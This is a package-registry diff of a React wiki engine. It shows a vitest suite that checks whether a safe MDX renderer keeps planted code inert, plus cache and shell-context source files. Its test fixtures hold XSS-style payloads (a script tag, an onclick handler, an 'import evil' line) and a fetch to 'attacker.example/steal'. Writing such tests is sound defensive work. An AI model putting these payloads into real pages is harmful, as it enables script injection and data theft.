@immediately-run/grove 0.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (92) hide show
  1. package/README.md +122 -0
  2. package/docs/ENGINE_BOUNDARY.md +233 -0
  3. package/llms.txt +115 -0
  4. package/package.json +82 -0
  5. package/src/App.tsx +131 -0
  6. package/src/GroveApp.css +2774 -0
  7. package/src/GroveWiki.tsx +386 -0
  8. package/src/components/AssetImage.tsx +58 -0
  9. package/src/components/Backlinks.tsx +104 -0
  10. package/src/components/Callout.tsx +26 -0
  11. package/src/components/ChildPages.tsx +40 -0
  12. package/src/components/DefaultLayout.tsx +27 -0
  13. package/src/components/Directory.tsx +65 -0
  14. package/src/components/DirectoryList.test.tsx +275 -0
  15. package/src/components/DirectoryList.tsx +189 -0
  16. package/src/components/DirectoryView.tsx +68 -0
  17. package/src/components/DocList.tsx +109 -0
  18. package/src/components/DocsByTag.tsx +13 -0
  19. package/src/components/Drawer.tsx +45 -0
  20. package/src/components/EntryHeader.tsx +51 -0
  21. package/src/components/FamilyTree.tsx +95 -0
  22. package/src/components/GroveAgent.tsx +264 -0
  23. package/src/components/GroveFooter.tsx +20 -0
  24. package/src/components/GroveNav.tsx +102 -0
  25. package/src/components/Icon.tsx +56 -0
  26. package/src/components/Infobox.tsx +19 -0
  27. package/src/components/Kbd.tsx +10 -0
  28. package/src/components/KeyValue.tsx +32 -0
  29. package/src/components/Lede.tsx +6 -0
  30. package/src/components/More.tsx +10 -0
  31. package/src/components/Outlet.tsx +11 -0
  32. package/src/components/PageMeta.tsx +24 -0
  33. package/src/components/PageView.tsx +98 -0
  34. package/src/components/Quote.tsx +36 -0
  35. package/src/components/RecentlyUpdated.tsx +6 -0
  36. package/src/components/SafeEntryBody.tsx +72 -0
  37. package/src/components/SafeLayout.tsx +35 -0
  38. package/src/components/ScrollToFragment.tsx +63 -0
  39. package/src/components/Search.tsx +127 -0
  40. package/src/components/Sidebar.tsx +118 -0
  41. package/src/components/TableOfContents.test.tsx +163 -0
  42. package/src/components/TableOfContents.tsx +101 -0
  43. package/src/components/TagCloud.tsx +46 -0
  44. package/src/components/TagList.tsx +31 -0
  45. package/src/components/Timeline.tsx +55 -0
  46. package/src/components/Toc.tsx +14 -0
  47. package/src/components/WikiLink.tsx +112 -0
  48. package/src/data/themes.ts +14 -0
  49. package/src/devfs.d.ts +4 -0
  50. package/src/hooks/useContentComponents.ts +122 -0
  51. package/src/hooks/useCorpusMetadata.ts +43 -0
  52. package/src/hooks/useDirectoryListing.ts +56 -0
  53. package/src/hooks/useHeadings.ts +96 -0
  54. package/src/hooks/useOpenWikiBoot.ts +95 -0
  55. package/src/index.css +120 -0
  56. package/src/lib/compose.test.ts +92 -0
  57. package/src/lib/compose.ts +99 -0
  58. package/src/lib/content.test.ts +269 -0
  59. package/src/lib/content.ts +267 -0
  60. package/src/lib/contentRoot.ts +61 -0
  61. package/src/lib/corpusComponents.test.ts +101 -0
  62. package/src/lib/corpusComponents.ts +117 -0
  63. package/src/lib/corpusScan.test.ts +157 -0
  64. package/src/lib/corpusScan.ts +105 -0
  65. package/src/lib/directory.test.ts +216 -0
  66. package/src/lib/directory.ts +262 -0
  67. package/src/lib/fragment.test.ts +88 -0
  68. package/src/lib/fragment.ts +55 -0
  69. package/src/lib/frontmatter.ts +26 -0
  70. package/src/lib/layout.ts +84 -0
  71. package/src/lib/openWiki.test.ts +216 -0
  72. package/src/lib/openWiki.ts +84 -0
  73. package/src/lib/queries.test.ts +74 -0
  74. package/src/lib/queries.ts +84 -0
  75. package/src/lib/safeIntrinsics.test.tsx +99 -0
  76. package/src/lib/safeIntrinsics.tsx +77 -0
  77. package/src/lib/safeRender.test.ts +359 -0
  78. package/src/lib/safeSources.ts +25 -0
  79. package/src/lib/shell.ts +71 -0
  80. package/src/lib/sourceCache.test.ts +66 -0
  81. package/src/lib/sourceCache.ts +42 -0
  82. package/src/lib/tocScroll.test.ts +71 -0
  83. package/src/lib/tocScroll.ts +93 -0
  84. package/src/lib/wiki.test.ts +194 -0
  85. package/src/lib/wiki.ts +175 -0
  86. package/src/lib.ts +54 -0
  87. package/src/main.tsx +19 -0
  88. package/src/mdx.d.ts +9 -0
  89. package/src/mdxComponents.ts +89 -0
  90. package/src/test/setup.ts +19 -0
  91. package/viewer-manifest.schema.json +62 -0
  92. package/viewer.manifest.json +267 -0
@@ -0,0 +1,359 @@
1
+ import { describe, it, expect, vi } from 'vitest';
2
+ import { readFileSync, readdirSync } from 'node:fs';
3
+ import { join } from 'node:path';
4
+ import { parseSafeMdast, renderMdast } from '@immediately-run/sdk/safeContent/index';
5
+ import { renderToStaticMarkup } from 'react-dom/server';
6
+ import { SAFE_INTRINSICS } from './safeIntrinsics';
7
+
8
+ // The NON-EXECUTABLE surface, proven rather than asserted (R3-217 / R3-219 exit).
9
+ //
10
+ // **This sweep is deliberately independent of how the app renders (R3-252).** The wiki
11
+ // itself left interpreter mode — `render: safe` is gone from `content/home.mdx` and
12
+ // entries go through the compiled `<Include>` path, because the corpus and the app ship
13
+ // from the same repo under the same author identity, so there is no origin boundary here
14
+ // for the safe renderer to defend (`TRUST_MODES §5`: interpreter-vs-executor is a design
15
+ // choice, not a capability gate). What the safe renderer *does* need is a large, real,
16
+ // multi-author corpus to be exercised against, and that is what this file is: the SDK's
17
+ // regression harness, run on every `npm run verify`, keeping the platform's signal after
18
+ // the app stopped depending on it — and keeping the flip reversible by one frontmatter
19
+ // line. Do not delete these because "the wiki doesn't render this way any more."
20
+ //
21
+ // These cases drive the REAL published safe renderer — the same
22
+ // `@immediately-run/sdk` build the sandbox resolves on immediately.run, because the
23
+ // host resolves the app's *pinned* dependency — over the REAL generated corpus. They
24
+ // establish two things the wiki's safety claim rests on:
25
+ //
26
+ // 1. author JavaScript in an entry never executes and never reaches the DOM as
27
+ // markup (TRUST_MODES §5.1), and
28
+ // 2. a `§`-citation deep-link lands on a heading id that actually exists.
29
+ //
30
+ // What they deliberately do NOT prove is the browser half: that the resolved fragment
31
+ // *scrolls*. That is `scrollToId` in the host, and it needs a real page — the
32
+ // on-host verification the item calls for. Everything upstream of it is checked here,
33
+ // so an on-host failure can only be the scroll, never the renderer or the ids.
34
+
35
+ const CONTENT = join(process.cwd(), 'content');
36
+
37
+ function read(rel: string): string {
38
+ return readFileSync(join(CONTENT, rel), 'utf8').replace(/^---\n[\s\S]*?\n---\n?/, '');
39
+ }
40
+
41
+ // Parsing ~350 entries takes seconds, and two cases need the same trees, so the sweep
42
+ // runs once and both await it.
43
+ const CORPUS_TIMEOUT = 60_000;
44
+
45
+ /** Every content entry in the wiki — generated and hand-authored alike. Walked rather
46
+ * than listed, so a corpus that grows (specs, context, status) is covered without
47
+ * anyone remembering to extend this test. */
48
+ function allEntries(dir = ''): string[] {
49
+ const out: string[] = [];
50
+ for (const e of readdirSync(join(CONTENT, dir), { withFileTypes: true })) {
51
+ const rel = dir ? `${dir}/${e.name}` : e.name;
52
+ if (e.isDirectory()) out.push(...allEntries(rel));
53
+ else if (e.name.endsWith('.mdx') && !e.name.startsWith('_')) out.push(rel);
54
+ }
55
+ return out.sort();
56
+ }
57
+
58
+ /** Every node of a type, anywhere in the tree. */
59
+ // eslint-disable-next-line @typescript-eslint/no-explicit-any
60
+ function nodesOfType(tree: any, type: string): any[] {
61
+ // eslint-disable-next-line @typescript-eslint/no-explicit-any
62
+ const out: any[] = [];
63
+ // eslint-disable-next-line @typescript-eslint/no-explicit-any
64
+ const walk = (n: any) => {
65
+ if (!n || typeof n !== 'object') return;
66
+ if (n.type === type) out.push(n);
67
+ for (const c of n.children ?? []) walk(c);
68
+ };
69
+ walk(tree);
70
+ return out;
71
+ }
72
+
73
+ /** As {@link textOf}, but skipping `code`/`inlineCode` — the text a READER sees as prose.
74
+ * A `[[…]]` inside a fence is a documented example and must survive; one in prose is a
75
+ * citation the wiki-link plugin failed to consume. The two need different assertions. */
76
+ // eslint-disable-next-line @typescript-eslint/no-explicit-any
77
+ function textOfExcludingCode(tree: any): string {
78
+ let s = '';
79
+ // eslint-disable-next-line @typescript-eslint/no-explicit-any
80
+ const walk = (n: any) => {
81
+ if (!n || typeof n !== 'object') return;
82
+ if (n.type === 'code' || n.type === 'inlineCode') return;
83
+ if (typeof n.value === 'string') s += n.value;
84
+ for (const c of n.children ?? []) walk(c);
85
+ };
86
+ walk(tree);
87
+ return s;
88
+ }
89
+
90
+ /** Flatten every literal string the tree would render as text. */
91
+ // eslint-disable-next-line @typescript-eslint/no-explicit-any
92
+ function textOf(tree: any): string {
93
+ let s = '';
94
+ // eslint-disable-next-line @typescript-eslint/no-explicit-any
95
+ const walk = (n: any) => {
96
+ if (!n || typeof n !== 'object') return;
97
+ if (typeof n.value === 'string') s += n.value;
98
+ for (const c of n.children ?? []) walk(c);
99
+ };
100
+ walk(tree);
101
+ return s;
102
+ }
103
+
104
+ describe('non-executable surface — planted code is inert', () => {
105
+ it('a `{fetch()}` expression is literal text, not an evaluated expression', async () => {
106
+ const spy = vi.spyOn(globalThis, 'fetch');
107
+ const tree = await parseSafeMdast('Before {fetch("/x")} after.\n');
108
+ // No expression node exists at all: the mdx *expression* extension is off, so the
109
+ // braces never even become a syntactic expression — they stay characters.
110
+ expect(nodesOfType(tree, 'mdxFlowExpression')).toHaveLength(0);
111
+ expect(nodesOfType(tree, 'mdxTextExpression')).toHaveLength(0);
112
+ expect(textOf(tree)).toContain('{fetch("/x")}');
113
+ expect(spy).not.toHaveBeenCalled();
114
+ spy.mockRestore();
115
+ });
116
+
117
+ it('a `<script>` block survives as literal text, never as markup', async () => {
118
+ const tree = await parseSafeMdast('<script>globalThis.__pwned = 1</script>\n');
119
+ // Raw HTML is an `html` node, which renderMdast emits as a text Fragment — there is
120
+ // no rehype-raw and no dangerouslySetInnerHTML anywhere on this path.
121
+ const html = nodesOfType(tree, 'html');
122
+ expect(html.length).toBeGreaterThan(0);
123
+ expect(html.map((n) => n.value).join('')).toContain('<script>');
124
+ expect((globalThis as Record<string, unknown>).__pwned).toBeUndefined();
125
+ });
126
+
127
+ it('an import/export line does not become an ESM node', async () => {
128
+ const tree = await parseSafeMdast('import evil from "./evil.js"\n\nexport const x = 1\n');
129
+ expect(nodesOfType(tree, 'mdxjsEsm')).toHaveLength(0);
130
+ });
131
+
132
+ it('an unknown component collapses to its children (no arbitrary element)', async () => {
133
+ const tree = await parseSafeMdast('<Danger onClick="steal()">visible</Danger>\n');
134
+ const el = nodesOfType(tree, 'mdxJsxFlowElement').concat(nodesOfType(tree, 'mdxJsxTextElement'));
135
+ expect(el.length).toBeGreaterThan(0);
136
+ // The NAME is all the renderer uses — it looks the name up in the component map and
137
+ // renders the children when it finds nothing. The `onClick` attribute is a literal
138
+ // string on an mdast node that is never applied to a DOM element.
139
+ expect(textOf(tree)).toContain('visible');
140
+ });
141
+
142
+ it('holds over the real corpus: every entry parses, and none carries an executable node', async () => {
143
+ const files = allEntries();
144
+ // Non-vacuity guard, sized to THIS repo's sample corpus. The `docs` wiki runs the
145
+ // same sweep over ~350 entries and keeps that guard at >280 (R3-252: a large, real,
146
+ // multi-author corpus is the platform's regression signal, and it stays there). Here
147
+ // the sweep proves the property holds over whatever the engine ships as its example
148
+ // content — a smaller claim, honestly sized, not the same claim with the bar lowered.
149
+ expect(files.length).toBeGreaterThan(10);
150
+ // Collected rather than asserted per file: MDX throws on the FIRST malformed entry,
151
+ // and a failure that names one file at a time turns a corpus sweep into N runs.
152
+ const failures: string[] = [];
153
+ for (const rel of files) {
154
+ try {
155
+ const tree = await parseSafeMdast(read(rel));
156
+ for (const t of ['mdxFlowExpression', 'mdxTextExpression', 'mdxjsEsm']) {
157
+ if (nodesOfType(tree, t).length) failures.push(`${rel}: executable ${t}`);
158
+ }
159
+ } catch (e) {
160
+ // A parse error is not cosmetic — the entry renders nothing at all.
161
+ failures.push(`${rel}: ${(e as Error).message}`);
162
+ }
163
+ }
164
+ expect(failures).toEqual([]);
165
+ }, CORPUS_TIMEOUT);
166
+ });
167
+
168
+ describe('deep-linking — the ids a citation targets really exist', () => {
169
+ it('the renderer emits `sec-…` ids for numbered headings', async () => {
170
+ const tree = await parseSafeMdast('## 8.9 Powerbox\n\nbody\n\n## Decisions\n');
171
+ const ids = nodesOfType(tree, 'heading').map((h) => h.data?.hProperties?.id);
172
+ expect(ids).toContain('sec-8-9');
173
+ expect(ids).toContain('decisions');
174
+ });
175
+
176
+ it('a numbered heading also keeps its prose slug as a landing hook', async () => {
177
+ const tree = await parseSafeMdast('## 8.9 Powerbox\n');
178
+ const h = nodesOfType(tree, 'heading')[0];
179
+ expect(h.data.hProperties.id).toBe('sec-8-9');
180
+ expect(h.data.hProperties['data-slug']).toBe('89-powerbox');
181
+ });
182
+
183
+ it('`[[target#frag]]` becomes a WikiLink carrying the whole target', async () => {
184
+ const tree = await parseSafeMdast('See [[../roadmap/R3-217.mdx#sec-1]].\n');
185
+ const links = nodesOfType(tree, 'mdxJsxTextElement').filter((n) => n.name === 'WikiLink');
186
+ expect(links).toHaveLength(1);
187
+ // eslint-disable-next-line @typescript-eslint/no-explicit-any
188
+ const target = links[0].attributes.find((a: any) => a.name === 'target')?.value;
189
+ expect(target).toBe('../roadmap/R3-217.mdx#sec-1');
190
+ });
191
+
192
+ it('a corpus entry`s `[[…]]` citations all become WikiLink nodes — none survive as text', async () => {
193
+ // R3-252 recorded that `[[…]]` rendered as inert TEXT because the app passes no
194
+ // `resolveWikiLink`. That read the wrong path: `renderMdast`'s `splitWikiLinks`
195
+ // fallback only ever sees `[[…]]` that reach it AS TEXT, and `parseSafeMdast` runs
196
+ // the shared wiki-link remark plugin first — so they are already `WikiLink` JSX
197
+ // nodes, resolved from the component map. Measured here rather than argued, so the
198
+ // claim cannot be re-litigated from reading alone.
199
+ //
200
+ // FIXTURE rather than a corpus read (R3-262): the `docs` wiki runs this against a
201
+ // real citation-dense entry (`context/ways_of_working.mdx`, 10 WikiLink nodes) and
202
+ // keeps doing so. This engine's sample corpus writes no `[[…]]` at all, so a corpus
203
+ // read here would assert nothing — and an assertion that cannot fail is worse than
204
+ // no assertion. The fixture is citation-dense on purpose and includes a fenced
205
+ // literal, so the "strip code first" rule below is exercised, not merely stated.
206
+ const src = [
207
+ 'Read [[home.mdx]] first, then [[handbook/onboarding.mdx]] and',
208
+ '[[people/index.mdx#sec-2]] — and see [[the directory|directory.mdx]] for the rest.',
209
+ 'Also [[teams/index.mdx]], [[processes/index.mdx]] and [[reports/index.mdx#sec-1]].',
210
+ '',
211
+ 'A documented example is not a live citation:',
212
+ '',
213
+ '```md',
214
+ '[[some/target.mdx]]',
215
+ '```',
216
+ '',
217
+ 'Inline too: `[[not-a-citation.mdx]]`.',
218
+ ].join('\n');
219
+ const tree = await parseSafeMdast(src);
220
+ const wikiLinks = nodesOfType(tree, 'mdxJsxTextElement').filter((n) => n.name === 'WikiLink');
221
+ expect(wikiLinks.length).toBeGreaterThan(5);
222
+ // Every one carries the author's target verbatim.
223
+ for (const n of wikiLinks) {
224
+ // eslint-disable-next-line @typescript-eslint/no-explicit-any
225
+ expect(n.attributes.find((a: any) => a.name === 'target')?.value).toBeTruthy();
226
+ }
227
+ // Nothing is left as raw `[[` outside code — a `[[` surviving in prose is a citation
228
+ // the plugin failed to consume, the exact failure R3-252 claimed was happening
229
+ // everywhere. Code is excluded because the renderer emits `inlineCode`/`code` values
230
+ // into the same walk and a DOCUMENTED example must survive verbatim; asserting both
231
+ // halves here is stronger than the corpus version, which only ever saw the first.
232
+ expect(textOfExcludingCode(tree)).not.toContain('[[');
233
+ expect(textOf(tree)).toContain('[[some/target.mdx]]');
234
+ expect(textOf(tree)).toContain('[[not-a-citation.mdx]]');
235
+ }, CORPUS_TIMEOUT);
236
+
237
+ it('every deep-link in the corpus resolves to a heading the renderer emits', async () => {
238
+ // The check runs against the ids the SHIPPED renderer actually produces, closing the
239
+ // gap between "the author believes the anchor exists" and "the anchor exists".
240
+ //
241
+ // R3-262: this engine's sample corpus writes no `[[…#frag]]` citations, so the sweep
242
+ // has nothing to check and its `checked > 0` guard would FAIL — correctly, because a
243
+ // green sweep over zero deep-links proves nothing. Rather than delete the guard (which
244
+ // would leave a permanently vacuous test) or delete the case (which would drop the
245
+ // property), the sweep runs over the corpus PLUS a fixture entry that does carry
246
+ // citations, so the machinery is exercised here and the corpus is still covered the
247
+ // moment it grows one. The `docs` wiki runs the same case over ~1000 real citations.
248
+ const FIXTURE = '__deep-link-fixture__.mdx';
249
+ const FIXTURE_SRC = [
250
+ '## 1. First',
251
+ 'See [[#sec-2]] and [[home.mdx]].',
252
+ '',
253
+ '## 2. Second',
254
+ 'Back to [[#sec-1]].',
255
+ ].join('\n');
256
+ const files = allEntries();
257
+ const idsByPath = new Map<string, Set<string>>();
258
+ const sourceByPath = new Map<string, string>();
259
+ for (const rel of [...files, FIXTURE]) {
260
+ const src = rel === FIXTURE ? FIXTURE_SRC : read(rel);
261
+ sourceByPath.set(rel, src);
262
+ const tree = await parseSafeMdast(src);
263
+ const ids = new Set<string>();
264
+ for (const h of nodesOfType(tree, 'heading')) {
265
+ const hp = h.data?.hProperties ?? {};
266
+ if (hp.id) ids.add(hp.id);
267
+ if (hp['data-slug']) ids.add(hp['data-slug']);
268
+ }
269
+ idsByPath.set(rel, ids);
270
+ }
271
+
272
+ const normalize = (from: string, target: string) => {
273
+ const parts = from.split('/').slice(0, -1).concat(target.split('/'));
274
+ const out: string[] = [];
275
+ for (const seg of parts) {
276
+ if (seg === '' || seg === '.') continue;
277
+ if (seg === '..') out.pop();
278
+ else out.push(seg);
279
+ }
280
+ return out.join('/');
281
+ };
282
+
283
+ const dangling: string[] = [];
284
+ let checked = 0;
285
+ for (const [rel, src] of sourceByPath) {
286
+ const scrubbed = src.replace(/```[\s\S]*?```/g, '').replace(/`[^`]*`/g, '');
287
+ for (const m of scrubbed.matchAll(/\[\[(?:[^\]|]*\|)?([^\]#|]*)#([^\]]+)\]\]/g)) {
288
+ const path = m[1] === '' ? rel : normalize(rel, m[1]);
289
+ const ids = idsByPath.get(path);
290
+ if (!ids) continue; // outside the generated set — not this test's corpus
291
+ checked++;
292
+ if (!ids.has(m[2])) dangling.push(`${rel} → ${path}#${m[2]}`);
293
+ }
294
+ }
295
+ expect(checked).toBeGreaterThan(0);
296
+ expect(dangling).toEqual([]);
297
+ }, CORPUS_TIMEOUT);
298
+ });
299
+
300
+ // ── The LAYOUT chain is non-executable too (R3-263) ───────────────────────────────────
301
+ //
302
+ // `SafeEntryBody` covered entry bodies from R3-213; the `_layout.mdx` chain went through
303
+ // `<Include>` — the COMPILED path — regardless of `render: safe`, so an "interpreter" wiki
304
+ // still executed author JavaScript out of one content file. These cases prove the same
305
+ // property for the shell that R3-219 proved for the entries.
306
+ describe('the layout chain renders non-executably', () => {
307
+ const LAYOUT = join(process.cwd(), 'content', '_layout.mdx');
308
+
309
+ it('the real `_layout.mdx` survives the safe parse as a component chain', async () => {
310
+ const src = readFileSync(LAYOUT, 'utf8').replace(/^---\n[\s\S]*?\n---\n?/, '');
311
+ const tree = await parseSafeMdast(src);
312
+ const names = nodesOfType(tree, 'mdxJsxFlowElement').map((n) => n.name);
313
+ // The shell primitives resolve BY NAME from the component map, and `<Outlet/>` — the
314
+ // hinge the whole chain nests on — is among them.
315
+ expect(names).toContain('GroveNav');
316
+ expect(names).toContain('GroveSidebar');
317
+ expect(names).toContain('GroveFooter');
318
+ expect(names).toContain('Outlet');
319
+ // No executable node anywhere: the layout's `{/* … */}` comment must not survive as an
320
+ // expression, and nothing may become an ESM import.
321
+ expect(nodesOfType(tree, 'mdxFlowExpression')).toHaveLength(0);
322
+ expect(nodesOfType(tree, 'mdxjsEsm')).toHaveLength(0);
323
+ });
324
+
325
+ it('planted code in a LAYOUT is inert — no script, no evaluation, no handler', async () => {
326
+ const planted = [
327
+ 'import evil from "./evil.js"',
328
+ '',
329
+ '<main className="grove-content" onclick="alert(1)">',
330
+ ' {fetch("https://attacker.example/steal")}',
331
+ ' <script>globalThis.__pwned = 1</script>',
332
+ '</main>',
333
+ ].join('\n');
334
+ const spy = vi.spyOn(globalThis, 'fetch');
335
+ const tree = await parseSafeMdast(planted);
336
+ const html = renderToStaticMarkup(renderMdast(tree, { components: SAFE_INTRINSICS as never }) as never);
337
+
338
+ expect(spy).not.toHaveBeenCalled();
339
+ expect((globalThis as Record<string, unknown>).__pwned).toBeUndefined();
340
+ // The `<script>` survives as ESCAPED TEXT, never as markup.
341
+ expect(html).not.toContain('<script');
342
+ expect(html).toContain('&lt;script&gt;');
343
+ // The expression is captured as an inert string, and the handler never reaches the DOM.
344
+ expect(html).not.toContain('onclick');
345
+ expect(html).toContain('fetch(');
346
+ // (GFM autolinks the URL inside that inert string, so the text carries an <a href>. That
347
+ // is a link the reader may click, not code the page runs — browser-parity, and `sanitizeUrl`
348
+ // still gates the scheme. Asserted so the anchor is not mistaken for an execution leak.)
349
+ // The import line is never RESOLVED — but note what actually happens to it, because it
350
+ // is not what "the ESM node renders as null" would suggest: with the ESM extension off
351
+ // no `mdxjsEsm` node is produced at all, so the line survives as ordinary paragraph
352
+ // TEXT. Inert either way, but visible — an author who pastes an import into a layout
353
+ // sees it printed on the page rather than silently ignored.
354
+ expect(nodesOfType(tree, 'mdxjsEsm')).toHaveLength(0);
355
+ expect(html).toContain('<p>import evil from');
356
+ expect(html).not.toContain('<script src');
357
+ spy.mockRestore();
358
+ });
359
+ });
@@ -0,0 +1,25 @@
1
+ import fs from 'fs';
2
+ import { createSourceCache } from './sourceCache';
3
+
4
+ // The ONE raw-source cache the interpreter path reads through — entry bodies
5
+ // (`SafeEntryBody`) and layout files (`SafeLayout`) alike. (R3-263)
6
+ //
7
+ // Shared rather than one-per-component for two reasons. React `use()` needs a STABLE
8
+ // promise across renders, so the cache must outlive any single component; and a layout is
9
+ // re-read on every navigation while the layout file itself rarely changes, so one cache
10
+ // turns the whole chain into a single read per file per session instead of a read per page.
11
+ //
12
+ // The failure behaviour lives in `sourceCache` and is the interesting part: a rejected read
13
+ // is EVICTED rather than memoised, because the host↔sandbox RPC drops requests during a
14
+ // navigation and a rejected promise left in the cache is returned to every later render —
15
+ // which made an entry permanently blank for the rest of the session.
16
+ // Keyed by the ABSOLUTE path, not a repo-relative one (R3-265). `openAppFs()` is scoped to
17
+ // the APP's repo, which is right for a fork and wrong for a dispatched viewer — the corpus
18
+ // then lives at a host-minted chroot, and an app-scoped read would either miss it or find
19
+ // the viewer's own entry of the same name. The unified `fs` namespace addresses both: a
20
+ // fork's `/app/content/x.mdx` and a dispatched `/task/<slot>/dir/x.mdx` are the same kind of
21
+ // path, which is also the key the metadata index uses, so one identifier now reads a body
22
+ // and its metadata.
23
+ export const safeSources = createSourceCache(
24
+ (absPath) => fs.promises.readFile(absPath, 'utf8') as Promise<string>
25
+ );
@@ -0,0 +1,71 @@
1
+ // Shell state shared between the engine root (App) and the chrome components the
2
+ // LAYOUT arranges (GroveNav, GroveSidebar, GroveFooter, PageView). The chrome's
3
+ // interactive brains stay in React; only their *placement* moved into content
4
+ // (`_layout.mdx`). Those components read this context, so a layout can arrange
5
+ // them anywhere and they still work.
6
+ //
7
+ // This file exports only contexts/hooks/types (no components) so it's exempt from
8
+ // the Fast-Refresh "components-only" rule.
9
+ import { createContext, useContext } from 'react';
10
+ import type { ReactNode } from 'react';
11
+ import type { DirectoryListing } from '../hooks/useDirectoryListing';
12
+
13
+ export interface NavItem {
14
+ key: string;
15
+ href: string;
16
+ label: string;
17
+ }
18
+
19
+ /** Everything the arranged chrome needs, provided once by App at the engine root. */
20
+ export interface GroveShell {
21
+ // Theme / appearance
22
+ theme: string;
23
+ setTheme: (t: string) => void;
24
+ light: boolean;
25
+ setLight: (v: boolean) => void;
26
+ menuOpen: boolean;
27
+ setMenuOpen: (v: boolean | ((o: boolean) => boolean)) => void;
28
+ // Overlays
29
+ searchOpen: boolean;
30
+ setSearchOpen: (v: boolean) => void;
31
+ drawerOpen: boolean;
32
+ setDrawerOpen: (v: boolean) => void;
33
+ // Environment
34
+ vw: 'mobile' | 'desktop';
35
+ navMode: 'top' | 'side';
36
+ writable: boolean;
37
+ siteTitle: string;
38
+ /** Interpreter mode (TRUST_MODES §5): render this entry's body through the
39
+ * non-executable safe renderer (R3-213) instead of the compiled/executable `<Include>`
40
+ * path. Driven by `render: safe` on the HOME entry (wiki-wide) or on the entry itself
41
+ * (per-entry, R3-252); default false (compiled MDX). */
42
+ safe: boolean;
43
+ navItems: NavItem[];
44
+ // Current entry (the page the innermost <Outlet/> renders)
45
+ entryKey: string;
46
+ includePath: string;
47
+ layout: string;
48
+ showRails: boolean;
49
+ mins: number;
50
+ missing: boolean;
51
+ suggestion?: string;
52
+ /** Whether the current URL names a FOLDER rather than an entry, and what is in it.
53
+ * `checking` while the readdir is in flight — <PageView> must render neither the
54
+ * entry nor the 404 then, or a folder URL flashes "No entry at …" before healing. */
55
+ directory: DirectoryListing;
56
+ }
57
+
58
+ export const GroveShellContext = createContext<GroveShell | null>(null);
59
+
60
+ /** Read the shell context. Throws if used outside App's provider — which only
61
+ * happens if chrome is rendered outside the Grove tree, a real bug. */
62
+ export function useShell(): GroveShell {
63
+ const ctx = useContext(GroveShellContext);
64
+ if (!ctx) throw new Error('useShell() must be used within <GroveShellContext.Provider>');
65
+ return ctx;
66
+ }
67
+
68
+ /** The node an `<Outlet/>` renders: the next-inward layout, or — at the bottom of
69
+ * the chain — the page itself (`<PageView/>`). Each layer sets this for its own
70
+ * subtree, so nested layouts compose. */
71
+ export const OutletContext = createContext<ReactNode>(null);
@@ -0,0 +1,66 @@
1
+ import { describe, it, expect } from 'vitest';
2
+ import { createSourceCache } from './sourceCache';
3
+
4
+ describe('createSourceCache', () => {
5
+ it('memoises a successful read so `use()` gets a stable promise', async () => {
6
+ let calls = 0;
7
+ const c = createSourceCache(async (p) => { calls++; return `body of ${p}`; });
8
+ const a = c.read('x.mdx');
9
+ const b = c.read('x.mdx');
10
+ expect(a).toBe(b); // identical promise identity, which is what `use()` requires
11
+ expect(await a).toBe('body of x.mdx');
12
+ expect(calls).toBe(1);
13
+ });
14
+
15
+ it('does NOT memoise a failure — the next read retries', async () => {
16
+ // The defect this guards: the host↔sandbox RPC drops requests during a navigation, and
17
+ // a rejected promise left in the cache was returned to every later render, so the entry
18
+ // stayed blank for the rest of the session with no error and no way back.
19
+ let calls = 0;
20
+ const c = createSourceCache(async (p) => {
21
+ calls++;
22
+ if (calls === 1) throw new Error('Invalid RPC id');
23
+ return `body of ${p}`;
24
+ });
25
+
26
+ await expect(c.read('x.mdx')).rejects.toThrow('Invalid RPC id');
27
+ expect(c.size()).toBe(0); // evicted, not retained
28
+
29
+ expect(await c.read('x.mdx')).toBe('body of x.mdx'); // recovered
30
+ expect(calls).toBe(2);
31
+ });
32
+
33
+ it('keeps a later successful read even if an earlier one failed', async () => {
34
+ let calls = 0;
35
+ const c = createSourceCache(async () => {
36
+ calls++;
37
+ if (calls === 1) throw new Error('transient');
38
+ return 'ok';
39
+ });
40
+ await expect(c.read('a.mdx')).rejects.toThrow();
41
+ await c.read('a.mdx');
42
+ expect(await c.read('a.mdx')).toBe('ok');
43
+ expect(calls).toBe(2); // the second read was memoised
44
+ });
45
+
46
+ it('evicts only the failing path', async () => {
47
+ const c = createSourceCache(async (p) => {
48
+ if (p === 'bad.mdx') throw new Error('nope');
49
+ return 'fine';
50
+ });
51
+ await c.read('good.mdx');
52
+ await expect(c.read('bad.mdx')).rejects.toThrow();
53
+ expect(c.size()).toBe(1);
54
+ });
55
+
56
+ it('invalidates one path, or all of them', async () => {
57
+ const c = createSourceCache(async () => 'v');
58
+ await c.read('a.mdx');
59
+ await c.read('b.mdx');
60
+ expect(c.size()).toBe(2);
61
+ c.invalidate('a.mdx');
62
+ expect(c.size()).toBe(1);
63
+ c.invalidate();
64
+ expect(c.size()).toBe(0);
65
+ });
66
+ });
@@ -0,0 +1,42 @@
1
+ // The raw-source read cache behind the interpreter body renderer — pure, injectable, and
2
+ // separate from the component so its failure behaviour can be tested without a host.
3
+ //
4
+ // `use()` needs a STABLE promise across renders, so reads are memoised per path. The
5
+ // subtlety is what happens when a read FAILS: a rejected promise left in the cache is
6
+ // returned to every later render, so the entry can never recover. That is not theoretical
7
+ // — the host↔sandbox RPC drops requests during a navigation ("Invalid RPC id"), and an
8
+ // entry whose read lost that race stayed **permanently blank for the rest of the session**,
9
+ // with no error and no way back short of a reload. Evicting on rejection makes the next
10
+ // attempt a fresh read, so a transient failure costs a retry instead of the page.
11
+
12
+ export type Reader = (path: string) => Promise<string>;
13
+
14
+ export interface SourceCache {
15
+ read: (path: string) => Promise<string>;
16
+ /** Drop a memoised read (a live edit, or an explicit refresh). */
17
+ invalidate: (path?: string) => void;
18
+ /** Testing/diagnostics: how many paths are memoised right now. */
19
+ size: () => number;
20
+ }
21
+
22
+ export function createSourceCache(reader: Reader): SourceCache {
23
+ const cache = new Map<string, Promise<string>>();
24
+ return {
25
+ read(path) {
26
+ const hit = cache.get(path);
27
+ if (hit) return hit;
28
+ const p = reader(path).catch((err) => {
29
+ // Never let a failure become the permanent answer for this path.
30
+ if (cache.get(path) === p) cache.delete(path);
31
+ throw err;
32
+ });
33
+ cache.set(path, p);
34
+ return p;
35
+ },
36
+ invalidate(path) {
37
+ if (path === undefined) cache.clear();
38
+ else cache.delete(path);
39
+ },
40
+ size: () => cache.size,
41
+ };
42
+ }
@@ -0,0 +1,71 @@
1
+ import { describe, it, expect } from 'vitest';
2
+ import { scrollOffsetFor, type ScrollItem, type ScrollView } from './tocScroll';
3
+
4
